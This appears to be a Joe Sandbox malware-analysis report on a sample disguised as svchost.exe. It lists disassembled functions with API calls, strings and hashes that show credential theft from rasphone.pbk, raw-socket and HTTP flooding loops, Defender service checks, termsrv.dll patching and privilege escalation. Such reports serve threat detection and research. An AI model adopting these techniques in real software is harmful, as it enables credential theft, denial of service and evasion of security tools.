Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: htons$inet_addr$CleanupSleepSocketStartupclosesocketgethostbynamegethostnamesendtosetsockopt
String ID: AAAA$E
API String ID: 68766432-3053159813
Opcode ID: 6c49f11fa23f998a9192f3b22bd9637d0cfa9b9e7a5cdc08b433414e82abf832
Instruction ID: 1e7bc7ce8118ed8ed6e4db7ad01b0657ee93b40946a472d054297ca9338e3b91
Opcode Fuzzy Hash: 6c49f11fa23f998a9192f3b22bd9637d0cfa9b9e7a5cdc08b433414e82abf832
Instruction Fuzzy Hash: 06518B712583449BE310CF60DC85B9BBBE5FFC9704F40882DF684AB291D7B59909CB9A

Function 00410AE0 Relevance: 31.6, APIs: 5, Strings: 13, Instructions: 98registryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00410BAD
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00410BC5
RegDeleteKeyA.ADVAPI32(?,?), ref: 00410BE4
RegCloseKey.ADVAPI32(?), ref: 00410BF1
LocalFree.KERNEL32(?), ref: 00410C19

Strings

t, xrefs: 00410B7F
N, xrefs: 00410B92
u, xrefs: 00410B7A
i, xrefs: 00410B70
m, xrefs: 00410B9C
a, xrefs: 00410B97
o, xrefs: 00410B75
o, xrefs: 00410B61
U, xrefs: 00410B84
a, xrefs: 00410B6B
m, xrefs: 00410B66
r, xrefs: 00410B8D
D, xrefs: 00410B5C

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CloseDeleteFreeLocalOpenwsprintf
String ID: D$N$U$a$a$i$m$m$o$o$r$t$u
API String ID: 321629408-3882932831
Opcode ID: b3c8811a65ef57232c49281441989d1ad82fea9bebdf9b1e98d4878de21cc2d8
Instruction ID: 3bef1d6cf251bba19f75b8a3f0d5b0c98c430e2bdbe5ea1fb1caa72e107fda60
Opcode Fuzzy Hash: b3c8811a65ef57232c49281441989d1ad82fea9bebdf9b1e98d4878de21cc2d8
Instruction Fuzzy Hash: A541E46214E3C1DED302CB689884A8BBFD65BF6608F48499DF4C857242C6A9865CC76B

Function 00406530 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 206stringmemoryfileCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,00000001,00000001), ref: 00406549
LocalAlloc.KERNEL32(00000040,00000400), ref: 004065B8
GetFileAttributesA.KERNEL32(?), ref: 004065C8
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000), ref: 004065F1
GetFileSize.KERNEL32(00000000,00000000), ref: 00406600
malloc.MSVCRT ref: 0040660D
ReadFile.KERNEL32(?,00000000,?,00000135,00000000), ref: 00406633
CloseHandle.KERNEL32(?), ref: 00406640
lstrlenA.KERNEL32(?), ref: 004066E7
lstrlenA.KERNEL32(?), ref: 00406706
lstrlenA.KERNEL32(?), ref: 00406715
lstrlenA.KERNEL32(?), ref: 00406737
LocalReAlloc.KERNEL32(00000000,?,00000042), ref: 00406745
lstrlenA.KERNEL32(?), ref: 00406764
lstrlenA.KERNEL32(?), ref: 00406781
LocalReAlloc.KERNEL32(00000000,-00000002,00000042), ref: 0040678E

Strings

Version, xrefs: 00406691

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: lstrlen$File$AllocLocal$AttributesCloseCreateDirectoryHandleReadSizeWindowsmalloc
String ID: Version
API String ID: 1885334980-1889659487
Opcode ID: 8da0f35c4ac55ecb3e9fbbf2a56e3027c17e61ae0aa6728ee39813948afcdb98
Instruction ID: 83af0223260908a4bcdb641bd9516a4dcab3499b79bc750a5d3cb6a689e3fd4d
Opcode Fuzzy Hash: 8da0f35c4ac55ecb3e9fbbf2a56e3027c17e61ae0aa6728ee39813948afcdb98
Instruction Fuzzy Hash: AB61D5716402046BD728DF74DC85BEB7695FB88310F44463DFE569B2C2DEB49904C664

Function 00407040 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 156registrystringCOMMON

Download Yara Rule

APIs

strrchr.MSVCRT ref: 00407069
RegOpenKeyExA.ADVAPI32(80000000,00000000,00000000,000F003F,?), ref: 0040709C

Strings

D, xrefs: 004071D0
"%1, xrefs: 00407162
%s\shell\open\command, xrefs: 004070F3

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Openstrrchr
String ID: "%1$%s\shell\open\command$D
API String ID: 1564636448-1634606264
Opcode ID: 8112fede83d02805038b956bb2cfef9b3d4a2b7c3abfec3988317bffb97b034e
Instruction ID: 35304c800ea9ae078c8e8dc8a9f282461c619e177cc023b74aa2cb8812790faa
Opcode Fuzzy Hash: 8112fede83d02805038b956bb2cfef9b3d4a2b7c3abfec3988317bffb97b034e
Instruction Fuzzy Hash: 1741A472648305ABE714DB50DC81FEBB7ECEBC4305F008D2EBA5496280E679E64D8766

Function 0040C660 Relevance: 27.2, APIs: 18, Instructions: 211COMMON

Download Yara Rule

APIs

LoadCursorA.USER32(00000000,00000000), ref: 0040C723

Part of subcall function 0040CFC0: ReleaseDC.USER32(?,?), ref: 0040CFDD
Part of subcall function 0040CFC0: GetDesktopWindow.USER32 ref: 0040CFE3
Part of subcall function 0040CFC0: GetDC.USER32(00000000), ref: 0040CFF0

GetDesktopWindow.USER32 ref: 0040C772
GetDC.USER32(00000000), ref: 0040C77F
GetTickCount.KERNEL32 ref: 0040C796
GetSystemMetrics.USER32(00000000), ref: 0040C7C0
GetSystemMetrics.USER32(00000001), ref: 0040C7C7
CreateCompatibleDC.GDI32(?), ref: 0040C7E5
CreateCompatibleDC.GDI32(?), ref: 0040C7EE
CreateCompatibleDC.GDI32(00000000), ref: 0040C7F7
CreateCompatibleDC.GDI32(00000000), ref: 0040C7FD
CreateDIBSection.GDI32(?,?,00000000,0000005C,00000000,00000000), ref: 0040C85C
CreateDIBSection.GDI32(?,?,00000000,00000060,00000000,00000000), ref: 0040C86D
CreateDIBSection.GDI32(?,?,00000000,00000078,00000000,00000000), ref: 0040C881
SelectObject.GDI32(?,?), ref: 0040C897
SelectObject.GDI32(?,?), ref: 0040C8A1
SelectObject.GDI32(?,?), ref: 0040C8B1
SetRect.USER32(00000034,00000000,00000000,?,?), ref: 0040C8C1
??2@YAPAXI@Z.MSVCRT ref: 0040C8D0

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Create$Compatible$ObjectSectionSelect$DesktopMetricsSystemWindow$??2@CountCursorLoadRectReleaseTick
String ID:
API String ID: 339399666-0
Opcode ID: 5b059f7fa80ac41d3a6353915896ba1872eac0f97dbe510ddd5d280a9680908e
Instruction ID: d0450a0e3ef1fcc2f8dfa7dde84e493714321f03d7e01fa109578092b46eabae
Opcode Fuzzy Hash: 5b059f7fa80ac41d3a6353915896ba1872eac0f97dbe510ddd5d280a9680908e
Instruction Fuzzy Hash: B281E4B0504B459FD320DF66C884A67FBE9FB88704F008A2DE59A87750DB79F8058F95

Function 00404F40 Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 89stringCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32 ref: 00404F5E
strchr.MSVCRT ref: 00404F70
lstrcpyA.KERNEL32(00000001), ref: 00404F7A
lstrcatA.KERNEL32(?,?), ref: 00404F8F
lstrcatA.KERNEL32(?,\Application Data\Microsoft\Network\Connections\pbk\rasphone.pbk), ref: 00404F9B
SHGetSpecialFolderPathA.SHELL32(00000000,?,00000023,00000000), ref: 00404FAB
wsprintfA.USER32 ref: 00404FCB
??2@YAPAXI@Z.MSVCRT ref: 00404FE9
GetPrivateProfileSectionNamesA.KERNEL32(00000000,00001000,00000400), ref: 00405014
lstrlenA.KERNEL32(00000000), ref: 0040502C
??3@YAXPAX@Z.MSVCRT ref: 0040504A

Strings

\Application Data\Microsoft\Network\Connections\pbk\rasphone.pbk, xrefs: 00404F95
Microsoft\Network\Connections\pbk\rasphone.pbk, xrefs: 00404FB8
Documents and Settings\, xrefs: 00404F64
%s\%s, xrefs: 00404FC5

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: lstrcat$??2@??3@DirectoryFolderNamesPathPrivateProfileSectionSpecialWindowslstrcpylstrlenstrchrwsprintf
String ID: %s\%s$Documents and Settings\$Microsoft\Network\Connections\pbk\rasphone.pbk$\Application Data\Microsoft\Network\Connections\pbk\rasphone.pbk
API String ID: 1834765725-3675501808
Opcode ID: 31fdb58075647fb39a62e38564e632c1cdf9f939f74f5fb417239b60986e7d94
Instruction ID: 784fe8a29c02d69bb80c99976390cbde2bd334699bca14689ade2d3afea7a76d
Opcode Fuzzy Hash: 31fdb58075647fb39a62e38564e632c1cdf9f939f74f5fb417239b60986e7d94
Instruction Fuzzy Hash: AF31D5B1544305ABD310DF50EC85FEBB7E8FB88704F00492DFA8597281D678EA08CBA6

Function 0040DDC0 Relevance: 25.6, APIs: 17, Instructions: 76pipethreadsynchronizationCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(?,00000000,?,?,00408CE5,?), ref: 0040DDD6
TerminateProcess.KERNEL32(?,00000000,?,?,00408CE5,?), ref: 0040DDDE
TerminateThread.KERNEL32(?,00000000,?,?,00408CE5,?), ref: 0040DDEA
WaitForSingleObject.KERNEL32(?,000007D0,?,?,00408CE5,?), ref: 0040DDF5
TerminateThread.KERNEL32(?,00000000,?,?,00408CE5,?), ref: 0040DE01
DisconnectNamedPipe.KERNEL32(?,?,?,00408CE5,?), ref: 0040DE11
DisconnectNamedPipe.KERNEL32(?,?,?,00408CE5,?), ref: 0040DE1B
DisconnectNamedPipe.KERNEL32(?,?,?,00408CE5,?), ref: 0040DE25
DisconnectNamedPipe.KERNEL32(?,?,?,00408CE5,?), ref: 0040DE2F
CloseHandle.KERNEL32(?,?,?,00408CE5,?), ref: 0040DE3B
CloseHandle.KERNEL32(?,?,?,00408CE5,?), ref: 0040DE41
CloseHandle.KERNEL32(?,?,?,00408CE5,?), ref: 0040DE47
CloseHandle.KERNEL32(?,?,?,00408CE5,?), ref: 0040DE4D
CloseHandle.KERNEL32(?,?,?,00408CE5,?), ref: 0040DE53
CloseHandle.KERNEL32(?,?,?,00408CE5,?), ref: 0040DE59
CloseHandle.KERNEL32(?,?,?,00408CE5,?), ref: 0040DE5F
CloseHandle.KERNEL32(?,?,?,00408CE5,?), ref: 0040DE65

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CloseHandle$DisconnectNamedPipeTerminate$Thread$ObjectProcessSingleWait
String ID:
API String ID: 1450516946-0
Opcode ID: 850d326ea46df3cecc3ca88c0bfba122563837e82b026c41bea47239937ef741
Instruction ID: 79661abfb3e4e2d274caa9c6e15e86329618487af38c88c2aba1971ebd6fb8ba
Opcode Fuzzy Hash: 850d326ea46df3cecc3ca88c0bfba122563837e82b026c41bea47239937ef741
Instruction Fuzzy Hash: B821CF756407046BD630EFBADC84E57F3EDAF98610B114E1EE146D36A0CAB8F8058E64

Function 00404990 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 145networksleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00401F30: inet_addr.WS2_32(?), ref: 00401F36
Part of subcall function 00401F30: gethostbyname.WS2_32(?), ref: 00401F41

htons.WS2_32(00000000), ref: 004049E3
WSASocketA.WS2_32(00000002,00000003,000000FF,00000000,00000000,00000001), ref: 004049F9
wsprintfA.USER32 ref: 00404AB6
htons.WS2_32(0000041C), ref: 00404AC4
inet_addr.WS2_32(?), ref: 00404AD0
htons.WS2_32(00000001), ref: 00404AF7
htons.WS2_32(00000000), ref: 00404B06
htons.WS2_32(00000408), ref: 00404B12
sendto.WS2_32(?,?,0000041C,00000000,?,00000010), ref: 00404B69
Sleep.KERNEL32(00000028), ref: 00404B78

Strings

%d.%d.%d.%d, xrefs: 00404AB0
AAAA, xrefs: 004049B8
E, xrefs: 00404A44

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: htons$inet_addr$SleepSocketgethostbynamesendtowsprintf
String ID: %d.%d.%d.%d$AAAA$E
API String ID: 2156772529-475727578
Opcode ID: fe6f960c86526e522fea6aa4df8149f9bda08896508565927fe025aa52b9fbda
Instruction ID: b6dc25934b8576157de8ac1c8450bf8c30146f5e082902b488b8a419d72029f5
Opcode Fuzzy Hash: fe6f960c86526e522fea6aa4df8149f9bda08896508565927fe025aa52b9fbda
Instruction Fuzzy Hash: 0351D1B0688341AAE310EF64DC45B6BBBE5EFD4704F40083DFA8597291D6B485088BAF

Function 004046C0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 141networkthreadCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 004046D6
socket.WS2_32(00000002,00000001,00000000), ref: 004046E2
htons.WS2_32 ref: 0040470B
inet_addr.WS2_32(00424EF0), ref: 0040471B
malloc.MSVCRT ref: 0040472A
ExitThread.KERNEL32 ref: 0040488D

Part of subcall function 00401E40: GetTickCount.KERNEL32 ref: 00401E41
Part of subcall function 00401E40: rand.MSVCRT ref: 00401E49

sprintf.MSVCRT ref: 004047F3
sprintf.MSVCRT ref: 00404824
connect.WS2_32(00000000,?,00000010), ref: 00404834
send.WS2_32(00000000,?,?,00000000), ref: 00404858
recv.WS2_32(00000000,?,00000080,00000000), ref: 00404870
closesocket.WS2_32(00000000), ref: 00404877

Strings

%s/%s, xrefs: 004047ED
#0%s!, xrefs: 0040481E

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: sprintf$CountExitStartupThreadTickclosesocketconnecthtonsinet_addrmallocrandrecvsendsocket
String ID: #0%s!$%s/%s
API String ID: 1714399493-1627496495
Opcode ID: 680597028d39379ebe41936aa1717309203188f27634201002a16612c2a9bf94
Instruction ID: ab5969f67312f079869e52e8d417eb4eb7e1ebb555b0c58a03547fc10b44f5cf
Opcode Fuzzy Hash: 680597028d39379ebe41936aa1717309203188f27634201002a16612c2a9bf94
Instruction Fuzzy Hash: D141D5B1148340AEE310DF64DC59BAB7BE4EFC4704F004A3DF699A72D1E7B49505879A

Function 00405780 Relevance: 22.9, APIs: 15, Instructions: 369COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 00405800
??3@YAXPAX@Z.MSVCRT ref: 00405843
??2@YAPAXI@Z.MSVCRT ref: 00405857
??3@YAXPAX@Z.MSVCRT ref: 0040589D
??2@YAPAXI@Z.MSVCRT ref: 004058B1
??3@YAXPAX@Z.MSVCRT ref: 004058F7
??2@YAPAXI@Z.MSVCRT ref: 0040590B
??3@YAXPAX@Z.MSVCRT ref: 00405951
??2@YAPAXI@Z.MSVCRT ref: 00405965
??3@YAXPAX@Z.MSVCRT ref: 004059AB
??2@YAPAXI@Z.MSVCRT ref: 004059BF
??3@YAXPAX@Z.MSVCRT ref: 00405A18
??2@YAPAXI@Z.MSVCRT ref: 00405A2C
??3@YAXPAX@Z.MSVCRT ref: 00405A71
??2@YAPAXI@Z.MSVCRT ref: 00405A85

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: ??2@$??3@
String ID:
API String ID: 1245774677-0
Opcode ID: b6b87dfb0f2e8bb54bdd6d5fdd3b40928410c2ec0fa454c43b9aa742f9a0c4c4
Instruction ID: 485aaaf10b0e486e333e1214c1f4b48c0d328b9eabb4f66304a172aa5c81f243
Opcode Fuzzy Hash: b6b87dfb0f2e8bb54bdd6d5fdd3b40928410c2ec0fa454c43b9aa742f9a0c4c4
Instruction Fuzzy Hash: 2AC1BFB57106058BD718CE39D85296B77D2EF88320B19863EF826973C1DF78ED018B84

Function 00404C80 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 100networksleepthreadCOMMON

Download Yara Rule

APIs

htons.WS2_32(00000000), ref: 00404CBE

Part of subcall function 00401F30: inet_addr.WS2_32(?), ref: 00401F36
Part of subcall function 00401F30: gethostbyname.WS2_32(?), ref: 00401F41

wsprintfA.USER32 ref: 00404CED
socket.WS2_32(00000002,00000001,00000006), ref: 00404D29
connect.WS2_32(00000000,?,00000010), ref: 00404D39
setsockopt.WS2_32 ref: 00404D58
setsockopt.WS2_32(00000000,0000FFFF,00001001,?,00000004), ref: 00404D74
send.WS2_32(00000000,?,00000001,00000000), ref: 00404D88
Sleep.KERNEL32(00000001), ref: 00404D90
closesocket.WS2_32(00000000), ref: 00404D96
Sleep.KERNEL32(0000001E), ref: 00404D9E
closesocket.WS2_32(?), ref: 00404DB6
ExitThread.KERNEL32 ref: 00404DBE

Strings

GET / HTTP/1.1Host: %s:%dPragma: no-cacheConnection: Keep-Alive, xrefs: 00404CE7

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Sleepclosesocketsetsockopt$ExitThreadconnectgethostbynamehtonsinet_addrsendsocketwsprintf
String ID: GET / HTTP/1.1Host: %s:%dPragma: no-cacheConnection: Keep-Alive
API String ID: 3211779375-3649629926
Opcode ID: 88999a2208355eda425a4e125daaf7d8251f78d2937269529669519c5df4a942
Instruction ID: 46d4326bfb37b0be3b801fd705ce682eb8df16aaf56af6c4a29709921c6b5d8d
Opcode Fuzzy Hash: 88999a2208355eda425a4e125daaf7d8251f78d2937269529669519c5df4a942
Instruction Fuzzy Hash: F6319271288301AEE310CFA4DC45BAB77E4FF88B14F40492DF695A62D1D7B499058BAE

Function 00414B14 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 00414B41
__p__fmode.MSVCRT ref: 00414B56
__p__commode.MSVCRT ref: 00414B64
__setusermatherr.MSVCRT ref: 00414B90
_initterm.MSVCRT ref: 00414BA6
__getmainargs.MSVCRT ref: 00414BC9
_initterm.MSVCRT ref: 00414BD9
GetStartupInfoA.KERNEL32(?), ref: 00414C18
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00414C3C
exit.MSVCRT ref: 00414C4C
_XcptFilter.MSVCRT ref: 00414C5E

Strings

0B, xrefs: 00414BC1, 00414BC4

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID: 0B
API String ID: 801014965-2157480381
Opcode ID: 043eb8ce1b15b38525e29081e80ea990bc9e18edb0f4fe8130b0a776e15f405a
Instruction ID: 88391500c143bfbd311709f6a039096a8b8180797a4b2814b649458b60acd864
Opcode Fuzzy Hash: 043eb8ce1b15b38525e29081e80ea990bc9e18edb0f4fe8130b0a776e15f405a
Instruction Fuzzy Hash: 864183B1D81358AFDB20DFA4DC85AE97BB8EB49710F20012FE45197261E7785881CBA8

Function 0040E280 Relevance: 21.1, APIs: 3, Strings: 11, Instructions: 76stringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040E304

Part of subcall function 0040A5E0: RegOpenKeyExA.ADVAPI32(?,00000000,00000000,00020019,?,?,?,?), ref: 0040A64C

lstrlenA.KERNEL32(?), ref: 0040E330
lstrlenA.KERNEL32(?), ref: 0040E357

Strings

s, xrefs: 0040E2DB
a, xrefs: 0040E2E6
n, xrefs: 0040E2D0
e, xrefs: 0040E2FA
MsMpEng, xrefs: 0040E2AA
SYSTEM\CurrentControlSet\Services\%s, xrefs: 0040E2B6
i, xrefs: 0040E2F0
m, xrefs: 0040E2F5
T, xrefs: 0040E2EB
I, xrefs: 0040E2BE
t, xrefs: 0040E2E1

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: lstrlen$Openwsprintf
String ID: I$MsMpEng$SYSTEM\CurrentControlSet\Services\%s$T$a$e$i$m$n$s$t
API String ID: 2249594862-329891336
Opcode ID: f052c8409894c43006b3a85101daf134c6aa599e30b0629296c624b0892f7d8b
Instruction ID: ac1c2daa4427a246440afd0d15ab9c13736bf8eaaddb10547b55a061c3466d03
Opcode Fuzzy Hash: f052c8409894c43006b3a85101daf134c6aa599e30b0629296c624b0892f7d8b
Instruction Fuzzy Hash: 8121F73120C3849AE315D628DC4179BBEC69BD9718F440A6DB699933C2C6F99A1C836B

Function 004122D0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 66sleepstringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 004122E0
lstrcatA.KERNEL32(?,\termsrv.dll,?,00000104), ref: 004122F0

Part of subcall function 00414110: GetCurrentProcess.KERNEL32(00000028,00000000,00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000), ref: 00414120
Part of subcall function 00414110: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414127

Part of subcall function 00412240: CreateToolhelp32Snapshot.KERNEL32 ref: 00412255
Part of subcall function 00412240: Process32First.KERNEL32(00000000,?), ref: 00412262
Part of subcall function 00412240: Process32Next.KERNEL32(00000000,?), ref: 004122A0
Part of subcall function 00412240: CloseHandle.KERNEL32(00000000,00000000,?), ref: 004122AB

Part of subcall function 00414110: LookupPrivilegeValueA.ADVAPI32(00000000,?,?), ref: 00414157
Part of subcall function 00414110: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll), ref: 0041416F
Part of subcall function 00414110: GetLastError.KERNEL32(?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414175
Part of subcall function 00414110: CloseHandle.KERNEL32(?,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414186

Part of subcall function 00412000: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041200D
Part of subcall function 00412000: Process32First.KERNEL32(00000000), ref: 00412028
Part of subcall function 00412000: lstrcmpiA.KERNEL32(?,?), ref: 00412044
Part of subcall function 00412000: Process32Next.KERNEL32(00000000,?), ref: 00412050
Part of subcall function 00412000: CloseHandle.KERNEL32(00000000,00000000), ref: 00412069

AbortSystemShutdownA.ADVAPI32(00000000), ref: 00412348
EnumWindows.USER32(Function_00011FB0,00000000), ref: 00412373
EnumWindows.USER32(Function_00011FB0,00000000), ref: 0041237B
Sleep.KERNEL32(0000000A,?,?,?,?,?,?,\termsrv.dll,?,00000104), ref: 0041237F
AbortSystemShutdownA.ADVAPI32(00000000), ref: 00412383

Strings

\termsrv.dll, xrefs: 004122EA
csrss.exe, xrefs: 00412331
drwtsn32.exe, xrefs: 0041235C
SeDebugPrivilege, xrefs: 004122F8, 0041231B
SeShutdownPrivilege, xrefs: 00412327, 0041238D

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Process32$CloseHandleSystem$AbortCreateEnumFirstNextProcessShutdownSnapshotTokenToolhelp32Windows$AdjustCurrentDirectoryErrorLastLookupOpenPrivilegePrivilegesSleepValuelstrcatlstrcmpi
String ID: SeDebugPrivilege$SeShutdownPrivilege$\termsrv.dll$csrss.exe$drwtsn32.exe
API String ID: 2896325759-3630850118
Opcode ID: ebb4aac17a1a3a0ab83a63b2ce3d5615584423548396633eb170091a55ad9d99
Instruction ID: fc0a129365ffeec31c490877d5cf975e4768510d2c55f50ec846b660ef0f1838
